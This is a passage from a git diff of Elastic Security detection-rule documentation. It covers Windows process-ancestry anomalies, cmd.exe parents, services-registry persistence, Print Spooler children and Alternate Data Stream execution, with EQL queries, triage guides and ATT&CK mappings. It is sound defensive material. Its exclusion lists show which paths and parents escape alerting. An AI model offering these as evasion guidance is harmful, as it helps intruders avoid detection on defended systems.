**Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.parent.name != null and + ( + /* suspicious parent processes */ + (process.name:"autochk.exe" and not process.parent.name:"smss.exe") or + (process.name:("fontdrvhost.exe", "dwm.exe") and not process.parent.name:("wininit.exe", "winlogon.exe", "dwm.exe")) or + (process.name:("consent.exe", "RuntimeBroker.exe", "TiWorker.exe") and not process.parent.name:("svchost.exe", "Workplace Container Helper.exe")) or + (process.name:"SearchIndexer.exe" and not process.parent.name:"services.exe") or + (process.name:"SearchProtocolHost.exe" and not process.parent.name:("SearchIndexer.exe", "dllhost.exe")) or + (process.name:"dllhost.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"smss.exe" and not process.parent.name:("System", "smss.exe")) or + (process.name:"csrss.exe" and not process.parent.name:("smss.exe", "svchost.exe")) or + (process.name:"wininit.exe" and not process.parent.name:"smss.exe") or + (process.name:"winlogon.exe" and not process.parent.name:"smss.exe") or + (process.name:("lsass.exe", "LsaIso.exe") and not process.parent.name:"wininit.exe") or + (process.name:"LogonUI.exe" and not process.parent.name:("wininit.exe", "winlogon.exe")) or + (process.name:"services.exe" and not process.parent.name:"wininit.exe") or + (process.name:"svchost.exe" and not process.parent.name:("MsMpEng.exe", "services.exe", "svchost.exe")) or + (process.name:"spoolsv.exe" and not process.parent.name:("services.exe", "Workplace Starter.exe")) or + (process.name:"taskhost.exe" and not process.parent.name:("services.exe", "svchost.exe", "ngentask.exe")) or + (process.name:"taskhostw.exe" and not process.parent.name:("services.exe", "svchost.exe")) or + (process.name:"userinit.exe" and not process.parent.name:("dwm.exe", "winlogon.exe", "KUsrInit.exe")) or + (process.name:("wmiprvse.exe", "wsmprovhost.exe", "winrshost.exe") and not process.parent.name:"svchost.exe") or + /* suspicious child processes */ + (process.parent.name:("SearchProtocolHost.exe", "taskhost.exe", "csrss.exe") and not process.name:("werfault.exe", "wermgr.exe", "WerFaultSecure.exe", "conhost.exe", "ngentask.exe")) or + (process.parent.name:"autochk.exe" and not process.name:("chkdsk.exe", "doskey.exe", "WerFault.exe")) or + (process.parent.name:"smss.exe" and not process.name:("autochk.exe", "smss.exe", "csrss.exe", "wininit.exe", "winlogon.exe", "setupcl.exe", "WerFault.exe", "wpbbin.exe", "PvsVmBoot.exe", "SophosNA.exe", "omnissa-ic-nga.exe", "icarus_rvrt.exe", "poqexec.exe")) or + (process.parent.name:"wermgr.exe" and not process.name:("WerFaultSecure.exe", "wermgr.exe", "WerFault.exe")) or + (process.parent.name:"conhost.exe" and not process.name:("mscorsvw.exe", "wermgr.exe", "WerFault.exe", "WerFaultSecure.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Parent PID Spoofing +** ID: T1134.004 +** Reference URL: https://attack.mitre.org/techniques/T1134/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-parent-process-for-cmd-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-parent-process-for-cmd-exe.asciidoc new file mode 100644 index 0000000000..2c83f8dbfa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-parent-process-for-cmd-exe.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-21-unusual-parent-process-for-cmd-exe]] +=== Unusual Parent Process for cmd.exe + +Identifies a suspicious parent child process relationship with cmd.exe descending from an unusual process. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Parent Process for cmd.exe* + + +Cmd.exe is a command-line interpreter on Windows systems, often used for legitimate administrative tasks. However, adversaries can exploit it by launching it from atypical parent processes to execute malicious commands stealthily. The detection rule identifies such anomalies by flagging cmd.exe instances spawned by uncommon parent processes, which may indicate unauthorized or suspicious activity, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process tree to understand the context in which cmd.exe was launched, focusing on the parent process identified in the alert. +- Investigate the parent process by examining its command-line arguments, start time, and any associated network activity to determine if it is behaving anomalously. +- Check the historical behavior of the parent process to see if it has previously spawned cmd.exe or if this is an unusual occurrence. +- Analyze any child processes spawned by the cmd.exe instance to identify potentially malicious activities or commands executed. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns. +- Assess the user account associated with the cmd.exe process to determine if it has been compromised or is exhibiting unusual behavior. +- Consult threat intelligence sources to see if the parent process or its behavior is associated with known malware or attack techniques. + + +*False positive analysis* + + +- Cmd.exe instances spawned by legitimate system maintenance tools like Windows Update or system indexing services can trigger false positives. Users can create exceptions for processes like SearchIndexer.exe or WUDFHost.exe if they are verified as part of routine system operations. +- Software updates or installations that use cmd.exe for scripting purposes might be flagged. If GoogleUpdate.exe or FlashPlayerUpdateService.exe are known to be part of regular update processes, consider excluding them after confirming their legitimacy. +- Administrative scripts or tools that are scheduled to run via Task Scheduler might use cmd.exe and be flagged. If taskhostw.exe is a known parent process for these tasks, verify and exclude it to prevent unnecessary alerts. +- Certain third-party applications might use cmd.exe for legitimate background tasks. If applications like jusched.exe or jucheck.exe are identified as part of trusted software, they can be excluded after validation. +- System recovery or diagnostic tools that interact with cmd.exe could be misidentified. If WerFault.exe or wermgr.exe are part of these processes, ensure they are legitimate and exclude them accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate the suspicious cmd.exe process and its parent process to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's recent activity logs to identify any unauthorized changes or additional compromised processes. +- Restore any altered or deleted files from a known good backup to ensure system integrity. +- Update and run a full antivirus and anti-malware scan on the affected system to detect and remove any additional threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for cmd.exe and its parent processes to detect similar anomalies in the future. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and + process.parent.name : ("lsass.exe", + "csrss.exe", + "epad.exe", + "regsvr32.exe", + "dllhost.exe", + "LogonUI.exe", + "wermgr.exe", + "spoolsv.exe", + "jucheck.exe", + "jusched.exe", + "ctfmon.exe", + "taskhostw.exe", + "GoogleUpdate.exe", + "sppsvc.exe", + "sihost.exe", + "slui.exe", + "SIHClient.exe", + "SearchIndexer.exe", + "SearchProtocolHost.exe", + "FlashPlayerUpdateService.exe", + "WerFault.exe", + "WUDFHost.exe", + "unsecapp.exe", + "wlanext.exe" ) and + not (process.parent.name : "dllhost.exe" and process.parent.args : "/Processid:{CA8C87C1-929D-45BA-94DB-EF8E6CB346AD}") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-persistence-via-services-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-persistence-via-services-registry.asciidoc new file mode 100644 index 0000000000..193e757d56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-persistence-via-services-registry.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-unusual-persistence-via-services-registry]] +=== Unusual Persistence via Services Registry + +Identifies processes modifying the services registry key directly, instead of through the expected Windows APIs. This could be an indication of an adversary attempting to stealthily persist through abnormal service creation or modification of an existing service. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Persistence via Services Registry* + + +Windows services are crucial for running background processes. Adversaries may exploit this by directly altering service registry keys to maintain persistence, bypassing standard APIs. The detection rule identifies such anomalies by monitoring changes to specific registry paths and filtering out legitimate processes, thus highlighting potential unauthorized service modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the specific registry paths and values that triggered the alert, focusing on "ServiceDLL" and "ImagePath" within the specified registry paths to identify any unauthorized or suspicious modifications. +- Examine the process responsible for the registry change, paying attention to the process name and executable path, to determine if it is a known legitimate process or potentially malicious. +- Cross-reference the process executable path against the list of known legitimate paths excluded in the query to ensure it is not a false positive. +- Investigate the historical behavior of the process and any associated files or network activity to identify patterns indicative of malicious intent or persistence mechanisms. +- Check for any recent changes or anomalies in the system's service configurations that could correlate with the registry modifications, indicating potential unauthorized service creation or alteration. +- Consult threat intelligence sources or databases to determine if the process or registry changes are associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify service registry keys directly. Users can create exceptions for known software update processes by excluding their executables from the detection rule. +- System maintenance tools like Process Explorer may trigger false positives when they interact with service registry keys. Exclude these tools by adding their process names and paths to the exception list. +- Drivers installed by trusted hardware peripherals might alter service registry keys. Users should identify and exclude these driver paths if they are known to be safe and frequently updated. +- Custom enterprise applications that require direct registry modifications for service management can be excluded by specifying their executable paths in the rule exceptions. +- Regular system processes such as svchost.exe or services.exe are already excluded, but ensure any custom scripts or automation tools that mimic these processes are also accounted for in the exceptions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are not part of legitimate applications or services. +- Restore the modified registry keys to their original state using a known good backup or by manually correcting the entries to ensure the integrity of the service configurations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or artifacts. +- Review and update endpoint protection policies to ensure that similar unauthorized registry modifications are detected and blocked in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Document the incident details, including the steps taken for containment and remediation, to enhance future response efforts and update threat intelligence databases. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and registry.value : ("ServiceDLL", "ImagePath") and + registry.path : ( + "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath", + "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath", + "MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", + "MACHINE\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" + ) and not registry.data.strings : ( + "?:\\windows\\system32\\Drivers\\*.sys", + "\\SystemRoot\\System32\\drivers\\*.sys", + "\\??\\?:\\Windows\\system32\\Drivers\\*.SYS", + "\\??\\?:\\Windows\\syswow64\\*.sys", + "system32\\DRIVERS\\USBSTOR", + "system32\\drivers\\*.sys", + "C:\\WindowsAzure\\GuestAgent*.exe", + "\"C:\\Program Files\\Common Files\\McAfee\\*", + "C:\\Program Files (x86)\\VERITAS\\VxPBX\\bin\\pbx_exchange.exe", + "\"C:\\Program Files (x86)\\VERITAS\\VxPBX\\bin\\pbx_exchange.exe\"", + "\"C:\\ProgramData\\McAfee\\Agent\\Current\\*") and + not (process.name : "procexp??.exe" and registry.data.strings : "?:\\*\\procexp*.sys") and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\winsxs\\*\\TiWorker.exe", + "?:\\Windows\\System32\\drvinst.exe", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\regsvr32.exe", + "?:\\Windows\\System32\\WaaSMedicAgent.exe", + "?:\\Windows\\UUS\\amd64\\WaaSMedicAgent.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-print-spooler-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-print-spooler-child-process.asciidoc new file mode 100644 index 0000000000..abd723c1c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-print-spooler-child-process.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-unusual-print-spooler-child-process]] +=== Unusual Print Spooler Child Process + +Detects unusual Print Spooler service (spoolsv.exe) child processes. This may indicate an attempt to exploit privilege escalation vulnerabilities related to the Printing Service on Windows. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* endgame-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Sysmon + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Print Spooler Child Process* + + +The Print Spooler service, integral to Windows environments, manages print jobs and interactions with printers. Adversaries may exploit vulnerabilities in this service to escalate privileges, gaining unauthorized access or control. The detection rule identifies suspicious child processes spawned by the Print Spooler, excluding known legitimate processes, to flag potential exploitation attempts, focusing on unusual command lines and integrity levels. + + +*Possible investigation steps* + + +- Review the process details to identify the unusual child process spawned by spoolsv.exe, focusing on the process name and command line arguments to understand its purpose and potential malicious intent. +- Check the integrity level of the process using the fields process.Ext.token.integrity_level_name or winlog.event_data.IntegrityLevel to confirm if it is running with elevated privileges, which could indicate an exploitation attempt. +- Investigate the parent-child relationship by examining the process tree to determine if there are any other suspicious processes associated with the same parent process, spoolsv.exe. +- Cross-reference the process executable path against known legitimate software paths to ensure it is not a false positive, especially if the executable is not listed in the exclusion paths. +- Analyze recent system logs and security events around the time of the alert to identify any other anomalous activities or patterns that could be related to the potential exploitation attempt. +- If the process is confirmed suspicious, isolate the affected system to prevent further exploitation and conduct a deeper forensic analysis to understand the scope and impact of the incident. + + +*False positive analysis* + + +- Legitimate print-related processes like splwow64.exe, PDFCreator.exe, and acrodist.exe may trigger alerts. These are excluded in the rule to prevent false positives. +- System processes such as msiexec.exe, route.exe, and WerFault.exe are known to be legitimate child processes of the Print Spooler and are excluded to reduce false alerts. +- Commands involving net.exe for starting or stopping services are common in administrative tasks and are excluded to avoid unnecessary alerts. +- Command-line operations involving cmd.exe or powershell.exe that reference .spl files or system paths are often legitimate and are excluded to minimize false positives. +- Network configuration changes using netsh.exe, such as adding port openings or rules, are typical in network management and are excluded to prevent false alerts. +- Registration of PrintConfig.dll via regsvr32.exe is a known legitimate operation and is excluded to avoid false positives. +- Executables from known paths like CutePDF Writer and GPLGS are excluded to prevent alerts from common, non-threatening applications. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious child processes spawned by the Print Spooler service that do not match known legitimate processes or command lines. +- Conduct a thorough review of the system's security logs to identify any unauthorized access or privilege escalation attempts related to the Print Spooler service. +- Apply the latest security patches and updates to the Windows operating system and specifically to the Print Spooler service to mitigate known vulnerabilities. +- Restore the system from a clean backup if any unauthorized changes or malicious activities are confirmed. +- Monitor the system closely for any recurrence of similar suspicious activities, ensuring enhanced logging and alerting are in place for spoolsv.exe and its child processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "spoolsv.exe" and process.command_line != null and + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and + + /* exclusions for FP control below */ + not process.name : ("splwow64.exe", "PDFCreator.exe", "acrodist.exe", "spoolsv.exe", "msiexec.exe", "route.exe", "WerFault.exe") and + not process.command_line : "*\\WINDOWS\\system32\\spool\\DRIVERS*" and + not (process.name : "net.exe" and process.command_line : ("*stop*", "*start*")) and + not (process.name : ("cmd.exe", "powershell.exe") and process.command_line : ("*.spl*", "*\\program files*", "*route add*")) and + not (process.name : "netsh.exe" and process.command_line : ("*add portopening*", "*rule name*")) and + not (process.name : "regsvr32.exe" and process.command_line : "*PrintConfig.dll*") and + not process.executable : ( + "?:\\Program Files (x86)\\CutePDF Writer\\CPWriter2.exe", + "?:\\Program Files (x86)\\GPLGS\\gswin32c.exe", + "?:\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWSave.exe", + "?:\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWriter2.exe", + "?:\\Program Files (x86)\\CutePDF Writer\\CPWSave.exe", + "?:\\Program Files (x86)\\TSplus\\UniversalPrinter\\CPWriter2.exe", + "?:\\Program Files\\Seagull\\Printer Drivers\\Packages\\*\\DriverEnvironmentSetup.exe", + "?:\\Windows\\system32\\CNAB4RPD.EXE", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\CutePDF Writer\\CPWriter2.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\GPLGS\\gswin32c.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWSave.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWriter2.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\CutePDF Writer\\CPWSave.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\TSplus\\UniversalPrinter\\CPWriter2.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Seagull\\Printer Drivers\\Packages\\*\\DriverEnvironmentSetup.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\CNAB4RPD.EXE" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-process-execution-path-alternate-data-stream.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-process-execution-path-alternate-data-stream.asciidoc new file mode 100644 index 0000000000..a89fbf5432 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-process-execution-path-alternate-data-stream.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-unusual-process-execution-path-alternate-data-stream]] +=== Unusual Process Execution Path - Alternate Data Stream + +Identifies processes running from an Alternate Data Stream. This is uncommon for legitimate processes and sometimes done by adversaries to hide malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Execution Path - Alternate Data Stream* + + +Alternate Data Streams (ADS) in Windows allow files to contain multiple data streams, which can be exploited by adversaries to conceal malicious code. This technique is often used for defense evasion, as it hides malware within legitimate files. The detection rule identifies processes initiated from ADS by monitoring specific execution patterns, such as unique argument structures, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details, including the process name and path, to determine if it is a known legitimate application or potentially malicious. +- Examine the process arguments, specifically looking for the pattern "?:\\*:*", to understand the context of the execution and identify any suspicious or unusual characteristics. +- Check the parent process of the flagged process to assess if it was initiated by a legitimate or expected source. +- Investigate the user account associated with the process execution to determine if the activity aligns with the user's typical behavior or if it appears anomalous. +- Correlate the event with other security logs or alerts from data sources like Sysmon, Microsoft Defender XDR, or Crowdstrike to gather additional context and identify any related suspicious activities. +- Search for any known indicators of compromise (IOCs) related to the process or file path in threat intelligence databases to assess if the activity is associated with known threats. + + +*False positive analysis* + + +- Legitimate software installations or updates may use alternate data streams to execute processes. Users can create exceptions for known software update paths to prevent unnecessary alerts. +- Some backup or file synchronization tools might utilize alternate data streams for metadata storage. Identify these tools and exclude their execution paths from the detection rule. +- Certain system administration scripts or tools may leverage alternate data streams for legitimate purposes. Review and whitelist these scripts if they are verified as non-threatening. +- Developers might use alternate data streams during software development for testing purposes. Ensure development environments are accounted for in the exception list to avoid false positives. +- Security tools themselves may use alternate data streams for scanning or monitoring activities. Verify and exclude these tools from the detection rule to reduce noise. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malware. +- Terminate any suspicious processes identified as running from an Alternate Data Stream to halt malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any hidden malware. +- Examine the file system for any additional Alternate Data Streams and remove or quarantine any suspicious files. +- Restore any affected files or systems from known good backups to ensure system integrity. +- Monitor the network for any unusual outbound traffic from the affected system that may indicate data exfiltration attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : "?:\\*:*" and + ( + process.args_count == 1 and + + /* Excludes 